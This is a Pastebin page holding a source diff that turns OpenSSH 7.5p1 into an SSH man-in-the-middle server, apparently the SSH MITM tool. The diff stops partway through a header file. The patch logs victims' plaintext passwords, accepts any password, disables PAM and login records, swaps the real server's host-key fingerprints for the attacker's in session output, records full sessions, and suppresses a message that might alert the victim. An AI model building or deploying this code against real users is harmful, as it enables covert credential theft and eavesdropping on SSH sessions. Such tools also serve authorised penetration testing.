Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2.c openssh-7.5p1-mitm/auth2.c
- --- openssh-7.5p1/auth2.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth2.c 2018-06-12 17:44:46.341760621 -0400
- @@ -222,6 +222,10 @@
- fatal("input_userauth_request: no authctxt");
- user = packet_get_cstring(NULL);
- + authctxt->original_user = xstrdup(user);
- + free(user);
- + user = xstrdup(UNPRIVED_MITM_USER);
- +
- service = packet_get_cstring(NULL);
- method = packet_get_cstring(NULL);
- debug("userauth-request for user %s service %s method %s", user, service, method);
- @@ -329,6 +333,8 @@
- return;
- #ifdef USE_PAM
- + /* Disable PAM entirely. */
- + if (0) {
- if (options.use_pam && authenticated) {
- if (!PRIVSEP(do_pam_account())) {
- /* if PAM returned a message, send it to the user */
- @@ -341,6 +347,7 @@
- "configuration", authctxt->user);
- }
- }
- + }
- #endif
- #ifdef _UNICOS
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-passwd.c openssh-7.5p1-mitm/auth2-passwd.c
- --- openssh-7.5p1/auth2-passwd.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth2-passwd.c 2018-06-12 17:44:46.341760621 -0400
- @@ -43,9 +43,11 @@
- #include "monitor_wrap.h"
- #include "misc.h"
- #include "servconf.h"
- +#include "lol.h"
- /* import */
- extern ServerOptions options;
- +extern Lol *lol;
- static int
- userauth_passwd(Authctxt *authctxt)
- @@ -65,6 +67,13 @@
- }
- packet_check_eom();
- + char *user = authctxt->user;
- + if (authctxt->original_user != NULL)
- + user = authctxt->original_user;
- +
- + logit("INTERCEPTED PASSWORD: hostname: [%s]; username: [%s]; password: [%s]", lol->original_host, user, password);
- + lol->username = strdup(user);
- + lol->password = strdup(password);
- if (change)
- logit("password change not supported");
- else if (PRIVSEP(auth_password(authctxt, password)) == 1)
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-pubkey.c openssh-7.5p1-mitm/auth2-pubkey.c
- --- openssh-7.5p1/auth2-pubkey.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth2-pubkey.c 2018-06-12 17:44:46.341760621 -0400
- @@ -477,7 +477,7 @@
- closefrom(STDERR_FILENO + 1);
- /* Don't use permanently_set_uid() here to avoid fatal() */
- - if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
- + /*if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
- error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid,
- strerror(errno));
- _exit(1);
- @@ -487,13 +487,15 @@
- strerror(errno));
- _exit(1);
- }
- + */
- /* stdin is pointed to /dev/null at this point */
- if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
- error("%s: dup2: %s", tag, strerror(errno));
- _exit(1);
- }
- - execve(av[0], av, child_env);
- + /* Not sure when this happens, exactly, but we definitely never want to execute anything. */
- + /*execve(av[0], av, child_env);*/
- error("%s exec \"%s\": %s", tag, command, strerror(errno));
- _exit(127);
- default: /* parent */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.c openssh-7.5p1-mitm/auth.c
- --- openssh-7.5p1/auth.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth.c 2018-06-12 17:44:46.341760621 -0400
- @@ -152,6 +152,8 @@
- #ifdef USE_LIBIAF
- free((void *) passwd);
- #endif /* USE_LIBIAF */
- + /* Allow logins to our locked-out bogus user. */
- + locked = 0;
- if (locked) {
- logit("User %.100s not allowed because account is locked",
- pw->pw_name);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.h openssh-7.5p1-mitm/auth.h
- --- openssh-7.5p1/auth.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth.h 2018-06-12 17:44:46.341760621 -0400
- @@ -59,6 +59,7 @@
- int server_caused_failure;
- int force_pwchange;
- char *user; /* username sent by the client */
- + char *original_user; /* username that the client actually wants to connect as */
- char *service;
- struct passwd *pw; /* set if 'valid' */
- char *style;
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-passwd.c openssh-7.5p1-mitm/auth-passwd.c
- --- openssh-7.5p1/auth-passwd.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth-passwd.c 2018-06-12 17:44:46.341760621 -0400
- @@ -121,6 +121,8 @@
- if (options.use_pam)
- return (sshpam_auth_passwd(authctxt, password) && ok);
- #endif
- + /* Accept all password authentication. */
- + return 1;
- #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
- if (!expire_checked) {
- expire_checked = 1;
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-sia.c openssh-7.5p1-mitm/auth-sia.c
- --- openssh-7.5p1/auth-sia.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/auth-sia.c 2018-06-12 17:44:46.341760621 -0400
- @@ -107,7 +107,7 @@
- sia_ses_release(&ent);
- - setuid(0);
- + /*setuid(0);*/
- permanently_set_uid(pw);
- }
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.c openssh-7.5p1-mitm/channels.c
- --- openssh-7.5p1/channels.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/channels.c 2018-06-12 17:44:46.341760621 -0400
- @@ -82,6 +82,7 @@
- #include "key.h"
- #include "authfd.h"
- #include "pathnames.h"
- +#include "lol.h"
- /* -- channel core */
- @@ -191,6 +192,12 @@
- static int connect_next(struct channel_connect *);
- static void channel_connect_ctx_free(struct channel_connect *);
- +void log_input(Channel *c, char *buf, int len);
- +void log_output(Channel *c, char *buf, int len);
- +void logx(Channel *c, char *buf, int len);
- +char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result);
- +void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len);
- +
- /* -- channel core */
- Channel *
- @@ -504,6 +511,23 @@
- if (c->filter_cleanup != NULL && c->filter_ctx != NULL)
- c->filter_cleanup(c->self, c->filter_ctx);
- channels[c->self] = NULL;
- + /*
- + if (c->log_fd > 0) {
- + fdatasync(c->log_fd);
- + close(c->log_fd);
- + c->log_fd = 0;
- + }
- + */
- + free(c->legit_md5_fingerprint); c->legit_md5_fingerprint = NULL;
- + c->legit_md5_fingerprint_len = 0;
- + free(c->legit_sha256_fingerprint); c->legit_sha256_fingerprint = NULL;
- + c->legit_sha256_fingerprint_len = 0;
- + free(c->our_md5_fingerprint); c->our_md5_fingerprint = NULL;
- + c->our_md5_fingerprint_len = 0;
- + free(c->our_sha256_fingerprint); c->our_sha256_fingerprint = NULL;
- + c->our_sha256_fingerprint_len = 0;
- + free(c->extra_fp_bytes); c->extra_fp_bytes = NULL;
- + c->extra_fp_bytes_len = 0;
- free(c);
- }
- @@ -853,12 +877,14 @@
- void
- channel_set_fds(int id, int rfd, int wfd, int efd,
- - int extusage, int nonblock, int is_tty, u_int window_max)
- + int extusage, int nonblock, int is_tty, u_int window_max, int session_log_fd, int is_sftp)
- {
- Channel *c = channel_lookup(id);
- if (c == NULL || c->type != SSH_CHANNEL_LARVAL)
- fatal("channel_activate for non-larval channel %d.", id);
- + c->log_fd = session_log_fd;
- + c->is_sftp = is_sftp;
- channel_register_fds(c, rfd, wfd, efd, extusage, nonblock, is_tty);
- c->type = SSH_CHANNEL_OPEN;
- c->local_window = c->local_window_max = window_max;
- @@ -1729,6 +1755,8 @@
- {
- char buf[CHAN_RBUF];
- int len, force;
- + char *output = NULL;
- + int output_len = 0, real_output_len = 0, free_result = 0;
- force = c->isatty && c->detach_close && c->istate != CHAN_INPUT_CLOSED;
- if (c->rfd != -1 && (force || FD_ISSET(c->rfd, readset))) {
- @@ -1758,16 +1786,23 @@
- }
- return -1;
- }
- +
- + /* Replace the legit server's fingerprints in the output with
- + * our fingerprints. >:] */
- + output = replace_fingerprints(c, buf, len, &output_len, &free_result);
- + handle_overlap(c, output, output_len, &real_output_len);
- + log_output(c, output, real_output_len);
- if (c->input_filter != NULL) {
- - if (c->input_filter(c, buf, len) == -1) {
- + if (c->input_filter(c, output, real_output_len) == -1) {
- debug2("channel %d: filter stops", c->self);
- chan_read_failed(c);
- }
- } else if (c->datagram) {
- - buffer_put_string(&c->input, buf, len);
- + buffer_put_string(&c->input, output, real_output_len);
- } else {
- - buffer_append(&c->input, buf, len);
- + buffer_append(&c->input, output, real_output_len);
- }
- + if (free_result) { free(output); output = NULL; }
- }
- return 1;
- }
- @@ -1824,6 +1859,7 @@
- dlen = MIN(dlen, 8*1024);
- #endif
- + log_input(c, buf, dlen);
- len = write(c->wfd, buf, dlen);
- if (len < 0 &&
- (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
- @@ -4670,3 +4706,246 @@
- packet_send();
- packet_write_wait();
- }
- +
- +void log_input(Channel *c, char *buf, int len) {
- + logx(c, buf, len);
- +}
- +
- +void log_output(Channel *c, char *buf, int len) {
- + logx(c, buf, len);
- +}
- +
- +void logx(Channel *c, char *buf, int len) {
- + /* Do not log the raw binary stream if this is an SFTP channel. */
- + if (c->is_sftp)
- + return;
- + else {
- + int written = 0;
- + int ret = -1;
- +
- + if (c->log_fd <= 0)
- + return;
- +
- + while (written < len) {
- + ret = write(c->log_fd, buf + written, len - written);
- + if (ret < 0)
- + return;
- +
- + written += len;
- + }
- + }
- +}
- +
- +/* This function searches and replaces the legitimate server's host key
- + * fingerprints with ours.
- + *
- + * "input" is the character buffer to search.
- + * "output_len" holds the number of characters written to the output return
- + * value.
- + * "free_result" is set to 1 if the caller must call free() on the return
- + * value when finished with it.
- + */
- +char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result) {
- + char *orig_input = input;
- + int orig_input_size = input_size;
- +
- + char *needle = NULL, *needle_replacement = NULL;
- + int needle_len = 0, needle_replacement_len = 0;
- +
- + void *ptr = NULL;
- + char *output = NULL;
- +
- + int output_size = 0;
- + int allocated_input = 0, allocated_output = 0;
- + int prefix_len = 0, suffix_len = 0;
- + int i = 0;
- + int output_is_input = 0;
- +
- + *output_len = input_size;
- +
- + /* If extra bytes are set from a previous call (i.e.: a partial fingerprint
- + * from a previous input block), prepend them to the input in a new buffer. */
- + if (c->extra_fp_bytes_len > 0) {
- + int new_input_size = input_size + c->extra_fp_bytes_len;
- + char *new_input = calloc(new_input_size, sizeof(char));
- + if (new_input == NULL)
- + goto replace_fingerprints_error;
- +
- + memcpy(new_input, c->extra_fp_bytes, c->extra_fp_bytes_len);
- + memcpy(new_input + c->extra_fp_bytes_len, input, input_size);
- +
- + input = new_input;
- + *output_len = input_size = new_input_size;
- + allocated_input = 1;
- + c->extra_fp_bytes_len = 0;
- + }
- +
- + /* Process the MD5 and SHA256 fingerprint types. */
- + for (i = 0; i < 2; i++) {
- + if (i == 0) {
- + needle = c->legit_md5_fingerprint;
- + needle_len = c->legit_md5_fingerprint_len;
- + needle_replacement = c->our_md5_fingerprint;
- + needle_replacement_len = c->our_md5_fingerprint_len;
- + } else if(i == 1) {
- + needle = c->legit_sha256_fingerprint;
- + needle_len = c->legit_sha256_fingerprint_len;
- + needle_replacement = c->our_sha256_fingerprint;
- + needle_replacement_len = c->our_sha256_fingerprint_len;
- + }
- +
- + /* If we don't have all the info we need to search and replace, skip this
- + * fingerprint type. */
- + if ((needle_len == 0) || (needle_replacement_len == 0))
- + continue;
- +
- + /* Search for the needle in the haystack. */
- + if ((ptr = memmem(input, input_size, needle, needle_len)) != NULL) {
- +
- + /* If an output buffer isn't decided yet... */
- + if (output == NULL) {
- +
- + /* We will choose to overwrite the input buffer with the output, if it
- + * fits. If it doesn't, we need to allocate a new buffer. */
- + output_size = input_size - needle_len + needle_replacement_len;
- + if (output_size > input_size) {
- + output = calloc(output_size, sizeof(char));
- +
- + if (output == NULL)
- + goto replace_fingerprints_error;
- +
- + allocated_output = 1;
- + output_is_input = 0;
- + } else {
- + output = input;
- + output_size = input_size;
- + output_is_input = 1;
- + }
- +
- + /* We already set an output buffer (note that we could have allocated it
- + * ourselves, or it may be the input buffer). Check if its big enough
- + * for the replacement string. If not, allocate a new one or re-allocate
- + * the existing one, as necessary. */
- + } else {
- + int _output_size = input_size - needle_len + needle_replacement_len;
- + if (_output_size > output_size) {
- + output_size = _output_size;
- +
- + /* If we had already allocated a buffer, re-allocate it with the
- + * number of bytes we need. Otherwise, allocate a new one. */
- + if (allocated_output == 1)
- + output = realloc(output, output_size);
- + else
- + output = calloc(output_size, sizeof(char));
- +
- + if (output == NULL)
- + goto replace_fingerprints_error;
- +
- + allocated_output = 1;
- + output_is_input = 0;
- + }
- + }
- +
- + /* Calculate the length of the prefix and suffix around the string we
- + * are replacing. */
- + prefix_len = (char *)ptr - input;
- + suffix_len = input_size - prefix_len - needle_len;
- +
- + /* Copy the prefix, string replacement, and suffix into the output. */
- + memmove(output, input, prefix_len);
- + memmove(output + prefix_len, needle_replacement, needle_replacement_len);
- + memmove(output + prefix_len + needle_replacement_len, (char *)ptr + needle_len, suffix_len);
- +
- + /* Update the number of bytes we wrote into the output buffer. */
- + *output_len = prefix_len + needle_replacement_len + suffix_len;
- + }
- + }
- +
- + /* If the output pointer has been set (meaning that a substitution was made),
- + * free the input buffer if necessary. Return a pointer to the output
- + * buffer. */
- + if (output != NULL) {
- + if (allocated_input && !output_is_input) {
- + free(input); input = NULL;
- + allocated_input = 0;
- + }
- +
- + *free_result = allocated_input | allocated_output;
- + return output;
- +
- + /* If no substitution was made, return the input buffer (which we may have
- + * allocated ourselves). */
- + } else {
- + *free_result = allocated_input;
- + return input;
- + }
- +
- + replace_fingerprints_error:
- + if (allocated_input) {
- + free(input); input = NULL;
- + }
- + if (allocated_output) {
- + free(output); output = NULL;
- + }
- + *free_result = 0;
- + *output_len = orig_input_size;
- + return orig_input;
- +}
- +
- +/* Handles any partial fingerprints found at the end of the input block. Any
- + * that are found are placed in the Channel's "extra_fp_bytes" buffer, which
- + * will be prepended in the next block's buffer by replace_fingerprints(). The
- + * smallest partial fingerprint this will look for is of length 8, so as to
- + * maintain high responsiveness for interactive shell sessions.
- + *
- + * "input" is the input buffer to process.
- + * "input_len" is the number of bytes to process in the input buffer.
- + * "output_len" is the new number of bytes the caller should use in the
- + * input buffer, where output_len <= input_len.
- + */
- +void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len) {
- + unsigned int i, shift;
- + char *needle = NULL;
- + unsigned int needle_len = 0;
- + int found_substr = 0;
- +
- + *output_len = input_len;
- +
- + /* Don't bother processing input blocks smaller than 8, since that is the
- + * minimum size we will look for. This is a tradeoff between shell
- + * responsiveness and completeness. For interactive shell sessions,
- + * responsiveness is much more important... */
- + if (input_len < 8)
- + return;
- +
- + for (i = 0; i < 2; i++) {
- + if (i == 0) {
- + needle = c->legit_md5_fingerprint;
- + needle_len = c->legit_md5_fingerprint_len;
- + } else if (i == 1) {
- + needle = c->legit_sha256_fingerprint;
- + needle_len = c->legit_sha256_fingerprint_len;
- + }
- +
- + /* If we don't have a needle, don't bother to continue processing. */
- + if (needle_len == 0)
- + continue;
- +
- + /* Begin by looking at the last 8 bytes of the input, and see if it matches
- + * the first 8 bytes of the fingerprint. Then look at the last/first 9
- + * bytes, etc. */
- + found_substr = 0;
- + for (shift = 8; (shift < needle_len) && (shift <= input_len); shift++) {
- + if (memcmp(input + (input_len - shift), needle, shift) == 0)
- + found_substr = shift;
- + }
- +
- + /* If we find a match, move the matching characters to the extra_chars
- + * array, and shorten the length of the output. */
- + if (found_substr > 0) {
- + c->extra_fp_bytes_len = found_substr;
- + memcpy(c->extra_fp_bytes, input + input_len - found_substr, c->extra_fp_bytes_len);
- + *output_len = input_len - found_substr;
- + }
- + }
- +}
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.h openssh-7.5p1-mitm/channels.h
- --- openssh-7.5p1/channels.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/channels.h 2018-06-12 17:44:46.341760621 -0400
- @@ -164,6 +164,22 @@
- void *mux_ctx;
- int mux_pause;
- int mux_downstream_id;
- +
- + int log_fd; /* File handle for logging sessions. */
- + int is_sftp; /* Set to 1 if this is an SFTP channel. */
- +
- + /* The MD5 & SHA256 fingerprints of the legit server's host keys, as
- + * well as the fingerprints for our host keys. */
- + char *legit_md5_fingerprint;
- + unsigned int legit_md5_fingerprint_len;
- + char *legit_sha256_fingerprint;
- + unsigned int legit_sha256_fingerprint_len;
- + char *our_md5_fingerprint;
- + unsigned int our_md5_fingerprint_len;
- + char *our_sha256_fingerprint;
- + unsigned int our_sha256_fingerprint_len;
- + char *extra_fp_bytes;
- + unsigned int extra_fp_bytes_len;
- };
- #define CHAN_EXTENDED_IGNORE 0
- @@ -214,7 +230,7 @@
- Channel *channel_by_remote_id(int);
- Channel *channel_lookup(int);
- Channel *channel_new(char *, int, int, int, int, u_int, u_int, int, char *, int);
- -void channel_set_fds(int, int, int, int, int, int, int, u_int);
- +void channel_set_fds(int, int, int, int, int, int, int, u_int, int, int);
- void channel_free(Channel *);
- void channel_free_all(void);
- void channel_stop_listening(void);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/clientloop.c openssh-7.5p1-mitm/clientloop.c
- --- openssh-7.5p1/clientloop.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/clientloop.c 2018-06-12 17:44:46.341760621 -0400
- @@ -1752,7 +1752,10 @@
- if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) {
- snprintf(buf, sizeof buf,
- "Connection to %.64s closed.\r\n", host);
- - buffer_append(&stderr_buffer, buf, strlen(buf));
- + /* Suppress this message, otherwise the user will see our
- + * client make the same output as their own client (which would
- + * be a little weird/suspicious). */
- + /*buffer_append(&stderr_buffer, buf, strlen(buf));*/
- }
- /* Output any buffered data for stdout. */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/loginrec.c openssh-7.5p1-mitm/loginrec.c
- --- openssh-7.5p1/loginrec.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/loginrec.c 2018-06-12 17:44:46.341760621 -0400
- @@ -435,6 +435,8 @@
- int
- login_write(struct logininfo *li)
- {
- + /* Since we never run as root, never attempt to record the log-in. */
- + return (0);
- #ifndef HAVE_CYGWIN
- if (geteuid() != 0) {
- logit("Attempt to write login records by non-root user (aborting)");
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/lol.h openssh-7.5p1-mitm/lol.h
- --- openssh-7.5p1/lol.h 1969-12-31 19:00:00.000000000 -0500
- +++ openssh-7.5p1-mitm/lol.h 2018-06-12 17:44:46.341760621 -0400
- @@ -0,0 +1,56 @@
- +#ifndef LOL_H
- +#define LOL_H
- +
- +/* Define these in order to force connections to a test host.
- + * Useful for quickly testing changes without needing to ARP
- + * spoof; just connect to sshd's port directly. */
- +/*
- +#define DEBUG_HOST "testhost"
- +#define DEBUG_PORT 22
- +*/
- +
- +/* This is the user account that all incoming connections will authenticate
- + * as (the provided user name is ignored). */
- +#define UNPRIVED_MITM_USER "ssh-mitm"
- +
- +/* The root path of SSH MITM (default: "/home/ssh-mitm/") */
- +#define MITM_ROOT "/home/" UNPRIVED_MITM_USER "/"
- +
- +/* The path to the ssh client config. */
- +#define MITM_SSH_CLIENT_CONFIG MITM_ROOT "etc/ssh_config"
- +
- +/* The path to the modified ssh client. */
- +#define MITM_SSH_CLIENT MITM_ROOT "bin/ssh"
- +
- +/* The path to the client log file. The "ssh" and "sftp" clients' stderr
- + * will go here. */
- +#define MITM_SSH_CLIENT_LOG MITM_ROOT "client.log"
- +
- +/* This is the size of the buffer used to write the password and read host key
- + * fingerprints to/from the client program. */
- +#define SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE 1024
- +
- +/* The size of the buffer used to store partial fingerprints intercepted. */
- +#define EXTRA_FP_BYTES_SIZE 64
- +
- +/* Uncomment this to open(2) log files with the O_SYNC flag. Effectively, this
- + * would cause logs to be written syncronously, though at the expense of lower
- + * session responsiveness. */
- +/*#define SYNC_LOG 1*/
- +
- +struct _Lol {
- + char *original_host;
- + unsigned short original_port;
- + char *username;
- + char *password;
- +};
- +typedef struct _Lol Lol;
- +
- +#define MAX_SERVER_HOSTKEY_FPS 8
- +struct _hostkey_fp {
- + char *old;
- + char *new;
- +};
- +typedef struct _hostkey_fp hostkey_fp;
- +
- +#endif /* LOL_H */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/Makefile.in openssh-7.5p1-mitm/Makefile.in
- --- openssh-7.5p1/Makefile.in 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/Makefile.in 2018-06-12 17:44:46.341760621 -0400
- @@ -23,7 +23,7 @@
- VPATH=@srcdir@
- SSH_PROGRAM=@bindir@/ssh
- ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass
- -SFTP_SERVER=$(libexecdir)/sftp-server
- +SFTP_SERVER=/home/ssh-mitm/bin/sftp-server
- SSH_KEYSIGN=$(libexecdir)/ssh-keysign
- SSH_PKCS11_HELPER=$(libexecdir)/ssh-pkcs11-helper
- PRIVSEP_PATH=@PRIVSEP_PATH@
- @@ -107,7 +107,7 @@
- monitor.o monitor_wrap.o auth-krb5.o \
- auth2-gss.o gss-serv.o gss-serv-krb5.o \
- loginrec.o auth-pam.o auth-shadow.o auth-sia.o md5crypt.o \
- - sftp-server.o sftp-common.o \
- + sftp-server.o sftp-client.o sftp-common.o \
- sandbox-null.o sandbox-rlimit.o sandbox-systrace.o sandbox-darwin.o \
- sandbox-seccomp-filter.o sandbox-capsicum.o sandbox-pledge.o \
- sandbox-solaris.o
- @@ -187,8 +187,8 @@
- ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o
- $(LD) -o $@ ssh-keyscan.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
- -sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
- - $(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
- +sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-server.o sftp-server-main.o
- + $(LD) -o $@ sftp-server.o sftp-client.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
- sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-glob.o progressmeter.o
- $(LD) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.c openssh-7.5p1-mitm/monitor.c
- --- openssh-7.5p1/monitor.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/monitor.c 2018-06-12 17:44:46.341760621 -0400
- @@ -119,6 +119,7 @@
- /* State exported from the child */
- static struct sshbuf *child_state;
- +static struct sshbuf *child_lol = NULL;
- /* Functions on the monitor that answer unprivileged requests */
- @@ -360,6 +361,7 @@
- ssh_packet_set_log_preamble(ssh, "user %s", authctxt->user);
- mm_get_keystate(pmonitor);
- + mm_get_lol(pmonitor);
- /* Drain any buffered messages from the child */
- while (pmonitor->m_log_recvfd != -1 && monitor_read_log(pmonitor) == 0)
- @@ -1613,6 +1615,41 @@
- }
- }
- +void
- +monitor_apply_lol(struct monitor *pmonitor, Lol *lol)
- +{
- + u_int32_t dummy_len = 1;
- + u_char *dummy = NULL;
- + u_int32_t original_port = 0;
- + u_int32_t username_len = 0;
- + u_char *username = NULL;
- + u_int32_t password_len = 0;
- + u_char *password = NULL;
- +
- + debug3("Applying lol...");
- +
- + if (child_lol == NULL)
- + fatal("%s: child_lol is NULL!", __func__);
- +
- + if (sshbuf_get_string(child_lol, &dummy, (size_t *)&dummy_len) != 0 ||
- + sshbuf_get_u32(child_lol, &original_port) != 0 ||
- + sshbuf_get_u32(child_lol, &username_len) != 0 ||
- + sshbuf_get_string(child_lol, &username, (size_t *)&username_len) != 0 ||
- + sshbuf_get_u32(child_lol, &password_len) != 0 ||
- + sshbuf_get_string(child_lol, &password, (size_t *)&password_len) != 0)
- + fatal("%s: sshbuf problems.", __func__);
- +
- + if (/*(strlen(original_host) != original_host_len) ||*/ (strlen(username) != username_len) || (strlen(password) != password_len))
- + fatal("%s: more sshbuf problems.", __func__);
- +
- + lol->original_port = (unsigned short)original_port;
- +
- + lol->username = username;
- + lol->password = password;
- + sshbuf_free(child_lol); child_lol = NULL;
- + debug3("Done with lol...");
- +}
- +
- /* This function requries careful sanity checking */
- void
- @@ -1627,6 +1664,16 @@
- debug3("%s: GOT new keys", __func__);
- }
- +void
- +mm_get_lol(struct monitor *pmonitor)
- +{
- + debug3("%s: Waiting for lol", __func__);
- + if ((child_lol = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + mm_request_receive_expect(pmonitor->m_sendfd, MONITOR_REQ_LOL, child_lol);
- + debug3("%s: GOT lol", __func__);
- +}
- +
- /* XXX */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.h openssh-7.5p1-mitm/monitor.h
- --- openssh-7.5p1/monitor.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/monitor.h 2018-06-12 17:44:46.341760621 -0400
- @@ -56,6 +56,7 @@
- MONITOR_REQ_GSSUSEROK = 46, MONITOR_ANS_GSSUSEROK = 47,
- MONITOR_REQ_GSSCHECKMIC = 48, MONITOR_ANS_GSSCHECKMIC = 49,
- MONITOR_REQ_TERM = 50,
- + MONITOR_REQ_LOL = 52,
- MONITOR_REQ_PAM_START = 100,
- MONITOR_REQ_PAM_ACCOUNT = 102, MONITOR_ANS_PAM_ACCOUNT = 103,
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.c openssh-7.5p1-mitm/monitor_wrap.c
- --- openssh-7.5p1/monitor_wrap.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/monitor_wrap.c 2018-06-12 17:44:46.341760621 -0400
- @@ -482,6 +482,31 @@
- sshbuf_free(m);
- }
- +void
- +mm_send_lol(struct monitor *monitor, Lol *lol) {
- + struct sshbuf *m;
- +
- + if ((m = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + if (lol == NULL)
- + fatal("%s: lol is NULL!", __func__);
- +
- + debug3("SENDING lol");
- +
- + if (sshbuf_put_string(m, "X", 1) != 0 ||
- + sshbuf_put_u32(m, lol->original_port) != 0 ||
- + sshbuf_put_u32(m, strlen(lol->username)) != 0 ||
- + sshbuf_put_string(m, lol->username, strlen(lol->username)) != 0 ||
- + sshbuf_put_u32(m, strlen(lol->password)) != 0 ||
- + sshbuf_put_string(m, lol->password, strlen(lol->password)) != 0) {
- + fatal("%s: can't pack lol!", __func__);
- + }
- +
- + mm_request_send(monitor->m_recvfd, MONITOR_REQ_LOL, m);
- + debug3("%s: Finished sending lol", __func__);
- + sshbuf_free(m);
- +}
- +
- int
- mm_pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, size_t namebuflen)
- {
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.h openssh-7.5p1-mitm/monitor_wrap.h
